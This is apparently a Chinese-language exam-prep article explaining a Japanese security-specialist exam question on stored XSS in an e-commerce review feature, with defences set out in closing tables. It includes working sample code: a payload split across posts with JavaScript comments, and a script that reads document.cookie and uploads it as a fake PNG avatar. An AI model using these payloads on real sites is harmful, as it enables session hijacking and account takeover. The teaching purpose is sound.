信息处理安全保障支援士(情報処理安全確保支援士) 2023年秋季(令和5年)午后问1解说 ── 明明有16条评论,却只显示2条的存储型XSS
· Go Komura · 信息处理安全保障支援士, 注册信息处理安全保障支援士, XSS, 跨站脚本攻击, Web应用程序, 信息安全, 漏洞, IPA, 会话管理
「明明应该有16条评论,却只显示2条。」
信息处理安全保障支援士(情報処理安全確保支援士)考试2023年秋季(令和5年)午后问1,正是从这样一则用户咨询开始的1。页面跳转没有任何异常,也没有出现错误提示。只是显示的件数对不上。
原因是存储型跨站脚本攻击(XSS)。但这道题有趣的地方,并不在于「XSS」这个答案本身,而在于Q公司(题目中出现的电商经营者)原本已经采取的那些「看似合理的对策」,竟然被逐一穿透。评论标题的50字限制被突破,上传所需的令牌是通过正规流程获取的,被窃取的会话ID也未经外部服务器就被带走了。
本文将逐题追踪这道大题,梳理哪些对策没有起作用,哪些原本应该起作用的对策又是在哪个环节分道扬镳的。
通过本文能够获得的,除了考试的解题思路(各小题的解答示例及其依据)之外,还有可用于实务的XSS对策全貌。为方便备考的读者按小题逐节阅读,也方便只需要实务代码评审视角的读者直接从第9章、第10章读起,本文在结构上做了相应安排,两种读法都能读通。
另外,关于该以什么为基准来全面确认整个网站的安全性这一宏观话题,已经在把 IPA《安全网站构建指南》当作检查清单来使用一文中讨论过。本文则是从那里列出的11种漏洞中挑出XSS这一项,通过实例做深入剖析。
1. 先说结论
- 漏洞的种类是存储型XSS。攻击者的字符串被保存在服务器上,此后输出到所有打开页面的人的HTML之中。嵌入的脚本是否使用DOM的API,与是否属于DOM Based XSS是两码事
- 输入字数限制没能成为XSS对策。攻击者把投稿拆分成15次,让夹在投稿之间的HTML被JavaScript注释跳过,从而连成一整段脚本
- 上传用的令牌(CSRF对策)同样没能成为XSS对策。攻击脚本按照与正规页面相同的步骤获取了令牌。既然运行在同一个源中,正规用户能做的事情,它就全都能做
- 被窃取的会话ID并没有发送到外部。攻击者把cookie的内容作为名为「a.png」的图片文件,放在了网站自身的头像上传功能中,再正常浏览下载回收。出口对策无法察觉这条路径
- 题目明确指出Q公司欠缺的对策共有3项。输出时的转义(根本性解决)、cookie的HttpOnly属性与上传文件的格式确认(这两项属于辅助性对策)。只要具备其中任何一项,这条攻击链就会被切断。不过格式确认在攻击者改变手法后依然会被通过,因此还需要做到再编码
- 题目中没有出现,但CSP的
script-src同样能够切断这条攻击链。只要配置成不允许'unsafe-inline',嵌入的内联脚本从一开始就不会被执行
2. 关于题材 ── 出处与本文的处理方式
本文所讨论的是以下这道题目。
出处:2023年秋季(令和5年) 信息处理安全保障支援士考试 午后 问1
IPA表示,除法令另有规定的情况外,使用其公开的历年考试试题无须获得许可或支付使用费。但这并不意味着IPA放弃了著作权:IPA要求使用者必须以「年度、期、考试类别、时间段、题号等」的形式明确标注出处,若对试题内容做了部分改写,也必须一并注明2。
本文并未直接转载试题册中刊载的HTML与脚本,而是在说明机制所需的范围内,替换为本公司自行编写的等效示例代码。设问原文与解答示例同样以摘要形式处理。试题册、解答示例、评分讲评的原文均可从IPA的页面上免费下载,建议读者一边打开原文一边阅读本文1 3 4。
设问与本文的对应关系
为方便一边打开试题册一边阅读的读者,下表列出了各设问与本文各节的对应关系。也可以直接从想要解答的设问处开始阅读。
| 设问 | 所问内容(字数限制) | 本文对应章节 |
|---|---|---|
| 设问1(1) | 被利用的XSS漏洞种类(三选一) | 第4章 |
| 设问1(2) | Web应用Q应采取的对策(30字以内) | 第4章「设问1(2):对策」 |
| 设问2 | 使超过输入字数限制长度的脚本得以执行的方法(50字以内) | 第5章 |
| 设问3(1) | 攻击脚本第6~20行的处理内容(60字以内) | 第6章 |
| 设问3(2) | 攻击者获取上传信息的方法(50字以内) | 第7章 |
| 设问3(3) | 利用获取到的信息能做什么(40字以内) | 第7章「设问3(3):会话ID能用来做什么」 |
| 设问4 | 攻击者的域名下攻击无法成功的浏览器机制(40字以内) | 第8章 |
如果不关心具体设问,只想了解实务层面的内容,请直接阅读第9章(起作用与未起作用对策一览)和第10章(代码评审的着眼点)。若想用一张图掌握整条攻击链,第7章的时序图展示了从投稿到窃取回收的完整过程。
试题册的描述与本文示例的对应关系
为便于与原文对照,下面整理出本文对试题册内容做了哪些替换。
| 试题册中的描述 | 本文的处理方式 | 刊载位置 |
|---|---|---|
| 页面V的HTML(含分段投稿的评论标题) | 未直接转载,本公司将同一机制缩减为3条投稿,编写成等效示例 | 第5章 |
| 提取出的攻击脚本(约20行) | 未直接转载,本公司编写了执行相同处理的等效JavaScript代码。代码中的注释为本文解说用途 | 第6章 |
| 各设问的题干 | 保留要旨的摘要(字数限制等条件为原文数值) | 第4~8章各节开头 |
| 解答示例 | IPA公开的解答示例3 | 第4~8章各处 |
| 评分讲评 | IPA公开的评分讲评中的相关部分4 | 第4章、第5章、第7章 |
| 题目设定(Q公司、页面V、会员A/B、功能与字数限制等) | 按原文描述加以摘要 | 第2章「问题的舞台」 |
问题的舞台
登场的是从事服装电商业务、拥有100名员工的Q公司。该公司用自主开发的「Web应用Q」运营电商网站,用户通过HTTPS访问。此次的设定是,公司刚刚新增了会员商品评论功能。
需要事先掌握的规格共有以下5点。
| 功能 | 规格 |
|---|---|
| 登录 | 用会员ID和密码进行认证,以cookie形式签发会话ID |
| 商品评论 | 仅限已登录会员投稿。评论标题限50字,评论详情限300字,均为自由填写 |
| 会员资料 | 提供上传头像图片的页面,以及登记信用卡信息的页面。两者均仅限已登录会员使用 |
| 头像图片上传 | 向 /user/upload 发送图片文件与令牌作为参数。只有当令牌与 /user/profile 签发的令牌一致时才会成功 |
| 头像图片显示 | 已上传的头像图片,会显示在会员资料设置页面及评论页面中 |
最后两行,会在后文中发挥作用。
3. 症状 ── 为什么16条变成了2条
有会员反映:「素色T恤的评论页面(页面V)本应显示16条评论,却只显示了2条。」开发部的N先生打开页面V后,画面上看到的是这样的内容:
- 页头显示「16条评论」
- 会员A的评论1条(标题「Good」,正文「Nice shirt!」)
- 会员B的评论1条
- 末尾写着「以上,共16条评论」
显示的件数是16条,实际排列出来的却只有2条。此时若查看HTML,会发现会员A的投稿其实有15条,其中嵌入了一段很长的脚本。
也就是说,评论本身确实以16条的量输出到了HTML中。之所以只看到2条,是因为其中大部分内容变成了 <script> 元素的内容,浏览器不再把它们当作「应当显示的内容」来处理。
准确地说,被吞没的范围并不是「整整15条」。开始标签 <script> 出现在第1条评论标题的中途(紧跟在「Good」之后),而结束标签 </script> 则位于第15条评论标题的末尾。因此:
- 第1条卡片(头像、显示名称、日期、星级评分,直到标题中的「Good」为止)位于
<script>之前,因此会显示出来 - 从这里开始直到第15条标题末尾的内容,都作为script元素的内容被吞没
- 第15条剩余的部分(正文「Nice shirt!」)位于
</script>之后,因此会显示出来
结果,第1条的头部与第15条的正文连接在了一起,画面上看起来就成了「标题为Good、正文为Nice shirt!的会员A的1条评论」。再加上会员B的1条,正好是2条。攻击者之所以在第1条开头放上「Good」、在第15条正文放上「Nice shirt!」这类自然的文字,恐怕是为了不让显示错乱看起来不自然。
这种「件数是对的,显示却对不上」的症状解读思路,在实务中同样很有用。因为它提供了一个入口,让人怀疑问题并非出在显示件数的逻辑本身有bug,而是输出的HTML结构本身遭到了破坏。
4. 为什么是「存储型」XSS ── 设问1
设问1要求从DOM Based XSS、存储型XSS、反射型XSS三个选项中,选出本次攻击所利用的XSS漏洞种类。正确答案是存储型XSS。
关于这道设问,IPA的评分讲评中这样写道:
正确率处于平均水平,但可能是因为脚本中使用了DOM,有部分考生误答为”DOM Based XSS”。
题目中出现的攻击脚本确实使用了 XMLHttpRequest,把响应作为DOM接收,并用 getElementById 取出元素——的确操作了DOM。但这与漏洞的种类无关。
分水岭在于「攻击字符串在哪里变成脚本」
区分这三种类型的关键,在于攻击字符串在哪里变成可执行的代码,也就是脆弱的输出位置(Sink)究竟位于服务器端还是浏览器端。
| 种类 | Sink(攻击字符串变得可执行的位置) | 攻击字符串来自哪里 |
|---|---|---|
| 反射型XSS | 服务器拼装HTML的处理过程 | 攻击者准备的URL参数等,即该次请求本身 |
| 存储型XSS | 服务器拼装HTML的处理过程 | 服务器端保存的数据 |
| DOM Based XSS | 浏览器上的JavaScript(对 innerHTML 赋值、eval、document.write 等) |
URL的片段(fragment)、postMessage、从服务器接收到的值等 |
在这道题中,服务器把攻击者投稿的评论标题原样嵌入HTML并返回。Sink位于服务器端的输出处理中,该字符串会被保存到数据库里,此后分发给所有打开页面V的人。因此属于存储型。
flowchart TD
A["攻击者的字符串<br/>作为脚本被执行"] --> B{"是在哪里<br/>变得可执行的"}
B -->|"浏览器上的JS<br/>传给了innerHTML等"| C["DOM Based XSS"]
B -->|"落在服务器<br/>拼装的HTML中"| D{"该字符串是否<br/>被保存在服务器上"}
D -->|"已保存<br/>-此后向所有人输出"| E["存储型XSS"]
D -->|"未保存<br/>-仅限该次请求"| F["反射型XSS"]
另外,把「只要服务器的响应中含有攻击字符串,就是存储型/反射型」这样简单化的判断方式是危险的。即使服务器把值作为无害的文本或JSON返回,只要浏览器端的JavaScript把它赋值给 innerHTML,就会构成DOM Based XSS(由已保存的值引发,即所谓的stored DOM XSS)。这种情况下应该修复的不是服务器的输出处理,而是客户端的Sink,因此请不要根据响应中是否能看到该字符串来判断,而要根据它是在哪里变得可执行来判断。
嵌入的脚本做了什么(操作DOM、发起通信、读取cookie)与该脚本是如何混入页面的,需要分开来考虑。之所以容易混淆,并不是因为这会让人在选择对策时感到为难,而是因为这会导致对策本身选错。如果判断为DOM Based XSS,就会得出「只要修复客户端的JavaScript就行」的结论,但实际上应该修复的却是服务器端的输出处理。
设问1(2):对策
设问1(2)要求以30字以内回答Web应用Q应采取的对策。解答示例是「在输出评论标题之前施加转义处理」。
这里明确指出「输出之前」这一顺序,是重点所在。并不是在接收输入的时候转义,而是在即将输出为HTML之前,根据输出目的地的上下文进行转义。IPA的《安全网站构建指南》中,也把「对输出到网页上的所有要素施加转义处理」列为XSS根本性解决方案的第一条5。
「SQL注入不也是靠输入时转义吗?」
这是一个必然会出现的疑问。先说结论:SQL注入同样也不是靠「输入时转义」来应对的。
IPA把「SQL语句的拼装全部使用占位符实现」列为SQL注入的根本性解决方案。虽然也提到了在不得不通过字符串拼接来构建SQL语句时可以用转义处理作为替代方案,但原文写的是「在通过字符串拼接构建SQL语句时,应使用具备转义处理等功能的数据库引擎API,正确构成SQL语句的字面量」,转义是在构成SQL语句的那一瞬间进行的6,而不是在接收输入的那一刻。
也就是说,这与HTML的情况完全是同一种结构。共通的原则可以归纳为:
转义应当在数据即将进入哪种语法世界这一点被确定下来的地方进行。
- 如果要输出为HTML,就做HTML转义
- 如果要成为SQL语句的一部分,就用占位符(万不得已时,也可作为SQL字面量进行转义)
- 如果要成为shell命令的一部分,就按照shell的方式处理
为什么不能在输入时处理呢?因为在接收输入的那一刻,这份数据将来会输出到哪里还没有确定。同一段评论正文,可能会输出到HTML页面,也可能输出到CSV导出文件、JSON格式的API响应、通知邮件,或是日志之中。如果在输入时就施加了HTML转义,CSV中就会原样出现 & 这样的字符串,数据库中的内容也会变得与原始输入不同,检索和统计都会因此出错,还会成为二次转义问题的温床。
那么输入侧就什么都不用做吗
并非如此。只不过输入侧要做的是校验(Validation),而不是转义。二者的职责不同。
- 在输入端「拦截」──不接受规格上不可能出现的取值。例如邮政编码栏就拒绝非7位数字的输入,数量栏就拒绝负数。这是为了保证数据正确性而独立存在、必不可少的处理
- 在输出端「转义」──把已经接受下来的数据,用即将输出到的那种语法安全地表达出来。这才是漏洞的根本性解决方案
同样重要的是,不要对输入端的校验寄予过高的XSS防御期望。IPA在谈到XSS时,提到了确认输入值是否符合应用程序规格这一方法,但同时也明确指出:这项对策的有效性是有限的,当应用程序所要求的规格允许输入范围很广的字符种类时,它就起不到对策的作用,因此不推荐依赖这种方法5。
本次的评论标题和评论详情,正是允许自由填写、字符种类范围很广的规格。虽然设有50字、300字这样的上限,但运行脚本所需的字符数远远少于这个上限,因此上限本身并不能构成防御。Q公司实际发生了什么,将在接下来的设问2中详细说明。
5. 50字限制是如何被突破的 ── 设问2
设问2是这道题的点睛之笔。
关于图3,请以50字以内回答使超过输入字数限制长度的脚本得以执行的方法。
解答示例是「分多次进行投稿,使HTML被注释掉、连成一整段脚本」。
攻击者把脚本拆分成能收进单次投稿长度以内的片段,分15次进行了投稿。关键在于如何处理必然会夹在各条投稿之间的HTML(</div>、<div class="..."> 等)——这些内容如果原样出现在JavaScript中,会构成语法错误。
于是攻击者使用了JavaScript的块注释。以下是本公司为说明该机制而编写的简化版本(并非直接引用试题册中的图示)。
假设分3次在评论标题栏中进行了如下投稿。
第1条: 很棒<script>a=1;/*
第2条: */b=2;/*
第3条: */c=3;</script>
服务器会把这些内容分别作为各条评论的标题,按如下方式输出为HTML。
<div class="review-title">很棒<script>a=1;/*</div>
<div class="description">…</div>
<div class="review-title">*/b=2;/*</div>
<div class="description">…</div>
<div class="review-title">*/c=3;</script></div>
从浏览器的角度看,从最开始的 <script> 到最后的 </script> 之间,构成了一个完整的script元素。其内容如下所示。
a=1;/*</div>
<div class="description">…</div>
<div class="review-title">*/b=2;/*</div>
<div class="description">…</div>
<div class="review-title">*/c=3;
夹在 /* 与 */ 之间的HTML,会被当作JavaScript注释而跳过,实际执行的只有 a=1; b=2; c=3; 这一部分。而且,被当作注释跳过的那部分内容,既然属于script元素的内容,就不会显示在画面上。这正是「16条看起来变成2条」这一症状的真相。
从这里应该带走的认知
这里请不要弄错因果关系。输入字数限制之所以无法成为XSS对策,并不是因为投稿次数没有限制。而是因为只要有50个字,脚本本来就能够执行。哪怕只是多写一个事件处理属性,或者放置一个用来加载外部脚本的标签,都能收在几十个字符以内。即使把投稿次数限制为1次,字数限制也起不到防御作用。
那么,本次的分段投稿究竟是为了什么呢?那是为了把长达约20行的完整脚本整段带进来的手段。原因在于攻击者想做的事情本身很长,所以靠增加次数来凑够长度,这与「字数限制为何被突破」并不是同一回事。手法本身的说明,和对该手法作为对策的评价,需要分开来考虑。
同样的道理,也适用于其他一切「输入端的限制」。
- 字数限制、可输入字符种类的限制、前端校验──这些都是规格上所必需的东西,无法替代XSS的根本性解决方案
- 攻击者始终有办法通过分段、编码、从其他路径投入等手段,绕过输入端的限制
- 真正应当守护的地方,是数据即将输出为HTML的那一瞬间
另外,IPA的评分讲评关于这道设问还写道:「也有部分解答像”通过开发者工具删除输入限制后再投稿”这样,可以看出确认得还不够充分」。的确,前端的限制可以通过开发者工具解除。但这道设问所要求的,是从HTML中留下的痕迹里读出实际发生了什么。图3的HTML中,收在限制字数以内的投稿被拆分成15条并排排列,每一条的开头和末尾都放着注释符号。这不是「解除」了限制的痕迹,而是「绕过」了限制的痕迹。应当理解为,这道题考查的是逐一确认攻击者所留痕迹的态度。
关于输入值应当校验到什么程度、如何校验的设计思路,在应用程序应如何校验二维码的读取值一文中,也从「不信任外部传入数据」的设计角度做了整理。
6. 脚本做了什么 ── 设问3(1)
N先生提取出的脚本约有20行。设问3(1)要求以60字以内回答其中第6行到第20行(第一次通信成功后才会执行的部分)的处理内容。
解答示例是「连同从XHR响应中获取的令牌一起,把会话ID作为头像图片上传」。
以下是本公司为说明该行为而编写的等效代码(并非直接引用试题册中的图示)。
// ① 首先获取个人资料设置页面
const xhr = new XMLHttpRequest();
xhr.open("get", "https://example.jp/user/profile");
xhr.responseType = "document"; // 将响应以DOM形式而非文本形式接收
xhr.send();
xhr.onload = function () {
// ② 按照与正规页面相同的步骤读取用于上传的令牌
const token = xhr.response.getElementById("token").value;
// ③ 将cookie(包含会话ID)原样作为PNG文件的内容
const file = new File([document.cookie], "a.png", { type: "image/png" });
// ④ 发送到本站的头像图片上传功能
const form = new FormData();
form.append("uploadfile", file);
form.append("token", token);
const xhr2 = new XMLHttpRequest();
xhr2.open("post", "https://example.jp/user/upload");
xhr2.send(form);
};
前半5行是仅仅为了通过Q公司的CSRF对策而存在的
这段脚本值得关注的地方在于,前半部分整个都被用来获取令牌。
Q公司在上传头像图片时,要求「令牌必须与 /user/profile 签发的令牌一致」。这是为了防止来自放在其他网站上的伪造表单擅自发起上传的机制,也就是CSRF对策。
然而攻击脚本是在受害者的浏览器中,以与受害者相同的源运行的。既然如此,只要原样照做正规页面所做的事情即可──对个人资料设置页面发起GET请求,读取其中名为 token 的元素的值。仅凭这一点就能拿到令牌。
CSRF对策的令牌,无法防御XSS。 因为一旦XSS成立,攻击者的代码就能够以「已登录的正规用户」的身份行事。令牌所守护的是「来自别的源、擅自发送过来的请求」,而不是「运行在同一个源中的恶意脚本」。
这一区分在实务中解读安全需求时同样很有用。「已经加入了CSRF令牌,所以没问题」这样的说明,对CSRF而言或许是正确的,但对XSS却什么都没有说明。
File 对象所承载的含义
③这一行同样值得关注。它以 document.cookie 的字符串作为内容,创建了一个文件名为 a.png、MIME类型为 image/png 的文件对象。
内容其实只是纯文本,并不是真正的PNG文件。之所以上传依然能够成功,正如题目所述,是因为Web应用Q并没有对上传的图片文件格式进行检查。
而 document.cookie 之所以能够被读取,是因为cookie没有被赋予HttpOnly属性。RFC 6265对HttpOnly属性做出如下规定:「将cookie的作用范围限定在HTTP请求之内。尤其是在通过向脚本公开cookie这类『非HTTP』的Web浏览器API提供对cookie的访问时,应指示用户代理省略该cookie」7。如果加上了这个属性,③行所抓取到的字符串中就会唯独缺失会话ID,即便被窃取带走也毫无价值。
这里需要注意的是,HttpOnly所隐藏的只是被赋予了该属性的那个cookie。如果同一个源下还存在其他没有HttpOnly属性的cookie(例如显示设置或统计用ID等),document.cookie 依然会持续返回这些内容。并不是说「加上HttpOnly,document.cookie 就会变成空的」。既然要保护的是会话ID,就请逐一确认会话ID的cookie上是否确实带有该属性。
7. 不流向外部的信息窃取 ── 设问3(2)(3)
设问3(2)以50字以内询问「攻击者能够通过什么方式获取已上传的信息」。解答示例是「下载会员的头像图片,从中取出会话ID字符串」。
回想一下,题目的规格说明中是这样写的:
已上传的头像图片,会显示在会员资料设置页面及评论页面中。
也就是说,写入了受害者会话ID的「头像图片」,会被放置在网站上可以被浏览到的地方。攻击者不需要做任何特别的事,只需打开显示着受害者头像图片的页面,取得该图片的URL即可。由于内容其实是文本,打开后就能读到会话ID。
补充说明一下,这样的回收之所以能够顺利进行,前提是受害者的头像图片出现在攻击者能够看到的页面上(例如自己投稿过评论的商品的评论页面等)。由于头像的URL是按会员固定下来的,只要在某处见过一次,之后就可以直接去获取那个URL。无论如何,攻击者一方的操作,都只是以正规浏览者的身份对页面或图片发起GET请求而已,从网站的角度看,并不会构成异常通信。
sequenceDiagram
autonumber
participant AT as 攻击者
participant Q as Web应用Q<br/>(example.jp)
participant V as 受害者的浏览器
Note over AT,Q: 准备阶段
AT->>Q: 把评论分15次投稿<br/>(用注释符号跳过HTML)
Note over Q: 将投稿的字符串<br/>原样保存<br/>(保存本身没有问题)
Note over V,Q: 受害者打开页面V
V->>Q: GET 页面V
Note over Q: ★漏洞就在这里★<br/>未经转义就把已保存的<br/>标题嵌入HTML
Q-->>V: 含有攻击脚本的HTML
Note over V: 作为script元素被执行
V->>Q: GET /user/profile
Q-->>V: 含有令牌的HTML
Note over V: 读取document.cookie<br/>作为a.png的内容
V->>Q: POST /user/upload<br/>(uploadfile=a.png, token=…)
Note over Q: 未确认格式即保存<br/>作为头像图片公开
Note over AT,Q: 回收
AT->>Q: GET 受害者的头像图片
Q-->>AT: 写有会话ID的文件
出口对策无法阻止这条路径
这条路径的棘手之处,一旦画成图就一目了然。受害者的浏览器从头到尾,只与正规网站(example.jp)进行通信。
结果,各种监视通信的对策全都会落空。真正起作用的只有最后一项。
| 对策 | 对本次攻击 | 理由 |
|---|---|---|
| 代理服务器的URL过滤 | 无效 | 访问的目标始终只是业务上正当的电商网站 |
| 防火墙的出站通信监控 | 无效 | 不会产生流向陌生域名的通信 |
Content Security Policy的 connect-src 限制(如 'self' 等允许同源的设定) |
无效 | 两次通信的目标都是同一个源,落在策略允许的范围之内 |
Content Security Policy的 script-src 限制(不允许 'unsafe-inline' 的配置) |
有效 | 嵌入的内联脚本从一开始就不会被执行 |
一提到通过XSS窃取信息,人们往往会联想到「cookie被发送到攻击者的服务器」这样的画面,但这道题清楚地表明,窃取信息的目的地也可能就是受害者网站自身。只要网站内存在既可写入、又可读出的位置,那里就会成为信息交接的场所。文件上传功能、公开的个人资料栏、公开的备注栏等,都是典型例子。
关于CSP再补充一点:在实务中常用的各项设定中,能够确实阻止这次攻击的并不是 connect-src(限制通信目标),而是 script-src。如果配置了 script-src 'self' 并且不允许 'unsafe-inline',那么嵌入在评论中的内联 <script> 从一开始就不会被执行。如果只把CSP理解为「收紧对外通信」的手段,就会看漏这层差异。
话虽如此,connect-src 从原理上说也并非完全无力。如果像 connect-src 'none' 那样连同源通信也一并禁止,或者把允许清单收紧到只包含特定的端点,那么这两次XHR同样会被阻止。只不过能收紧到这种程度的网站毕竟有限,作为现实中的防范手段,真正的主力还是 script-src。准确的理解应当是:并不是「因为是同源所以不在CSP的管辖范围内」,而是「在允许同源的一般性设定下,这类通信会被放行」。
设问3(3):会话ID能用来做什么
设问3(3)以40字以内询问,利用获取到的信息能够做什么。解答示例是「冒充访问过页面V的会员,使用Web应用Q的功能」。
根据评分讲评,这道设问的正确率较高。讲评中写道,考生们对于电商网站中cookie被攻击者获取所带来的影响,理解得相当到位。
再回顾一下题目的规格说明,会员资料功能中明确写有一个登记信用卡信息的页面,并注明仅限已登录会员使用。也就是说,冒充身份之后能够抵达什么地方,题目从一开始就已经埋下了伏笔。
8. 为什么在攻击者的网站上不成立 ── 设问4
设问4是这道大题中最本质的一问。
假设攻击者在自己准备的域名网站上放置了与图4相同脚本的HTML,即便Web应用Q的已登录会员访问该网站,由于Web浏览器的某种机制,攻击也不会成功。请以40字以内回答这一机制。
解答示例是「脚本向不同域名的URL发起请求时,cookie不会被发送的机制」。
假设把同样的脚本放在 evil.example 上,诱使Q公司的会员访问。会发生什么呢?
首先,第一次通信就会落空。 即便从 evil.example 上的脚本向 https://example.jp/user/profile 发送XMLHttpRequest,这也是一次跨源请求。
关键在于cookie不会被附带上。图4中的脚本并未指定 withCredentials,因此跨源请求不会附带cookie。在Q公司服务器看来,这是一次未登录的访问,不会返回含有令牌的个人资料设置页面。脚本无法获取令牌,攻击到这里就止步了。
此外还有一道障碍,那就是无法读取响应。如果Q公司没有通过 Access-Control-Allow-Origin 允许 evil.example,浏览器就会因CORS检查失败而把这次通信当作网络错误处理,onload 不会触发,也就无法读到 xhr.response。普通网站不会对陌生的源返回这个响应头,因此实际上在这一步也应该会被拦下。
不过,Q公司的CORS具体是如何设置的,题目中并没有写明。即便假设Q公司允许了来自 evil.example 的访问,能够读到的也只是未登录状态下的响应,其中并不包含令牌,攻击依然无法成立。仅凭cookie不会被附带这一点,攻击就已经被拦住了。
哪怕只满足其中一个条件,脚本也会被拦下,而实际上这两道屏障是同时起作用的。
除此之外,cookie本身也是读不到的。 document.cookie 返回的是该脚本所运行的那个源(evil.example)的cookie,签发给 example.jp 的会话ID并不包含在其中。
IPA的解答示例采用的是前者,即「cookie不会被发送到不同域名的URL」这一答案。
这里请不要把这两者当作同一种机制来记忆。它们是各自独立的两种机制。
document.cookie之所以不会返回example.jp的cookie,是因为cookie是按域名分离管理的。像evil.example和example.jp这样属于不同网站(不同的可注册域名)的情况,这种隔离是无法通过设置来放宽的。不过,同一域名下的子域名之间则另当别论,利用cookie的Domain属性,可以在sub.example.jp与example.jp之间共享cookie7- 跨源XHR不附带cookie,是因为
withCredentials默认为false。这一点是可以在条件齐备的情况下发生变化的。如果脚本指定了withCredentials = true,并且cookie的SameSite属性允许跨站发送,同时服务器明确返回了发送方源对应的Access-Control-Allow-Origin以及Access-Control-Allow-Credentials: true,那么cookie就会被发送,响应也就能够被读取
这里请把实际失败的原因和假如攻击者做出改动会需要哪些条件分开来把握。
从题目和图4中能够确定无疑的只有一点:由于没有指定 withCredentials,cookie不会被附带,从而被当作未登录处理,无法获取令牌。仅凭这一点,攻击就会被拦下。
没有CORS许可同样会构成一道让响应无法被读取的屏障,但由于Q公司的设置在题目中并未写明,这一点请当作「普通网站通常会是这样」的附加保障来看待。
那么,如果攻击者把代码改成 withCredentials = true 又会怎样呢?到这一步,另一个条件才会真正成为问题。如果cookie的 SameSite 不允许跨站发送,即使打开了 withCredentials,那个cookie依然不会被附带。现在的浏览器会把未指定 SameSite 的cookie当作 Lax 处理,因此默认情况下会倒向「不附带」这一侧。
另外,Q公司会话ID的cookie上 SameSite 究竟是如何设置的,题目中并没有写明。因此不能断言「多亏了 SameSite 才守住了防线」。这里想说的终究只是,面对带着credentials发起攻击的对手,SameSite 有可能起到作用这一点。
归纳一下,要从不同域名读取已认证的响应,需要同时满足三个条件:withCredentials = true、cookie的 SameSite 允许跨站发送、服务器通过带credentials的CORS许可了发送方的源。这并不意味着「只要域名不同就一定安全」,但也不是说只要满足其中一个条件就会被攻破。在排查自家网站时,不应仅仅安心于cookie的域名隔离,而必须实际确认CORS的设置(尤其是带credentials的请求被允许来自哪些源)以及cookie的 SameSite 属性。
所以存储型XSS的价值才如此之高
这道设问告诉我们的是,攻击者为何执着于「让自己的代码在受害者网站内部运行」这件事的原因。
即便在自己的域名下准备一个外观一模一样的伪造网站,浏览器也会把它当作一个不同的网站来对待。既无法通过 document.cookie 读到对方网站的cookie,像这道设问中的脚本那样不带凭据发送的XHR,在对方网站看来甚至连登录状态都算不上。对攻击者而言,真正有价值的地方就在于让代码在受害者网站的源中运行这件事本身。而存储型XSS正是实现这一点的手段。
不过,请不要理解成「从不同域名绝对无法发送带认证信息的请求」。如果cookie的 SameSite 设置为允许跨站发送(例如 SameSite=None 等),那么恶意页面依然能够把带cookie的请求送达对方服务器。表单的POST就是典型的例子,CORS所控制的主要是「脚本能否读取响应」,而不是「请求能否送达服务器」(不过如果附带自定义请求头或以 application/json 方式发送,则会先进行预检请求,若未获许可,正式请求本身就不会被发送)。这正是CSRF这种攻击得以成立的原因,也正因如此,才需要CSRF对策的令牌。
也就是说,不同源的脚本在默认情况下做不到的,是「读取对方的cookie」和「读取响应」,而不是「发送请求」。
而且,这两种「读不到」的强度并不相同。document.cookie 的域名隔离无法通过服务器端的设置来放宽,但响应能否被读取,取决于对方服务器的CORS设置。只要服务器许可了发送方的源(若带凭据,则需在 Access-Control-Allow-Origin 中返回具体的源,并同时返回 Access-Control-Allow-Credentials: true),不同源的脚本同样能够读取响应。这正是应当确认自家网站CORS设置的理由所在。
XSS之所以特殊,就在于它跳过了所有这些条件,从一开始就能够以受害者网站的源来行事。
换句话说,XSS并不是「画面上会出现奇怪字符」这种小毛病,而是会让攻击者站上与自家网站正规用户同等立场的漏洞。这种认知上的差异,决定了优先级判断的分歧。
9. 起作用的对策与未起作用的对策
把到目前为止的内容归纳成一张表。这是本文最希望大家带走的部分。
| Q公司具备/不具备的机制 | 对本次攻击 | 理由 |
|---|---|---|
| HTTPS通信 | 未起作用 | 这属于通信链路的保护,与嵌入页面的脚本无关 |
| 评论标题50字・详情300字的输入字数限制 | 未起作用 | 被拆分成15次投稿,中间的HTML被当作JavaScript注释跳过 |
| 上传用令牌(CSRF对策) | 未起作用 | 同源脚本可以通过正规流程获取令牌 |
| 要求登录才能使用的上传功能 | 未起作用 | 实际执行的正是已登录的受害者本人的浏览器 |
| 输出时转义(未具备) | 有效(根本性解决) | 被投稿的字符串不再被解释为HTML,脚本从一开始就无法运行 |
| cookie的HttpOnly属性(未具备) | 有效(辅助性对策) | document.cookie 将无法读取到会话ID |
| 上传文件的格式确认・再编码(未具备) | 有效(辅助性对策) | 原始文本无法作为PNG保存,藏在元数据中的字符串也会因再编码而消失。不过若被编码为图像像素本身,则仍会残留 |
上面4项,对本次攻击没有起到任何作用。把下面3项对照IPA《安全网站构建指南》的分类来看,第一项属于根本性解决,其余两项属于辅助性对策5。
补充一点,上面4项并不意味着「IPA不承认它们是对策」。IPA的分类只有根本性解决和辅助性对策两种,对输入值内容的检查其实也被列为辅助性对策之一。只不过其中附有「这项对策的有效性是有限的」这一但书,而本次恰好正中这一限制之下。
而重要的是,下面3项之中,只要具备其中任何一项,这道题中所执行的攻击链就会被切断。
- 如果做了转义,脚本从一开始就不会执行
- 如果加上了HttpOnly,脚本会执行,但读不到cookie
- 如果确认了格式,cookie虽然能读到,但原始文本无法作为PNG上传
纵深防御真正发挥价值的,正是这样的场景。不过,辅助性对策无法替代根本性解决方案。即便加上了HttpOnly,只要XSS依然存在,攻击者依旧可以在受害者的浏览器中执行任意操作(购买商品、变更登记信息等)。甚至连窃取会话ID都不需要的攻击,同样可以设计出无数种。
为什么不只写「格式确认」,还要写到「再编码」
表格最后一行之所以写成「格式确认・再编码」两段式,是有原因的。
题目中的Q公司完全没有对图片文件的格式进行确认,因此哪怕只是加入格式检查,也足以阻止本次攻击。但是,那仅限于攻击者发送原始文本的情况。攻击者同样可以拼装出一个合法的PNG文件,把字符串藏进它的元数据区域等位置。这种情况下,「格式是否正确」的检查会被顺利通过。
因此,如果要收紧这条路径,就有必要做到在服务器端对上传的图片重新编码后再进行分发(不原样保存原始字节序列)这一步。
不过,即便是再编码,也无法将这条路径完全堵死。如果攻击者把会话ID直接描绘成图片的像素本身,制作出一张合法的PNG,那么普通的再编码会保留其视觉信息,攻击者依然可以下载后读取出来。再编码所能阻止的,是发送原始字节序列的变种,以及藏在元数据区域的变种,而不是被编码为图像内容本身的信息。
也就是说,只要网站内存在「既能写入、又能读出」的位置,就无法把它作为窃取路径彻底封死。这很好地体现了辅助性对策的性质。辅助性对策仅仅阻止「当下已观测到的攻击」是不够的,还必须考虑攻击者稍微改变手法之后是否依然成立来进行设计。而且无论叠加多少层辅助性对策,都无法替代作为根本性解决方案的输出时转义。
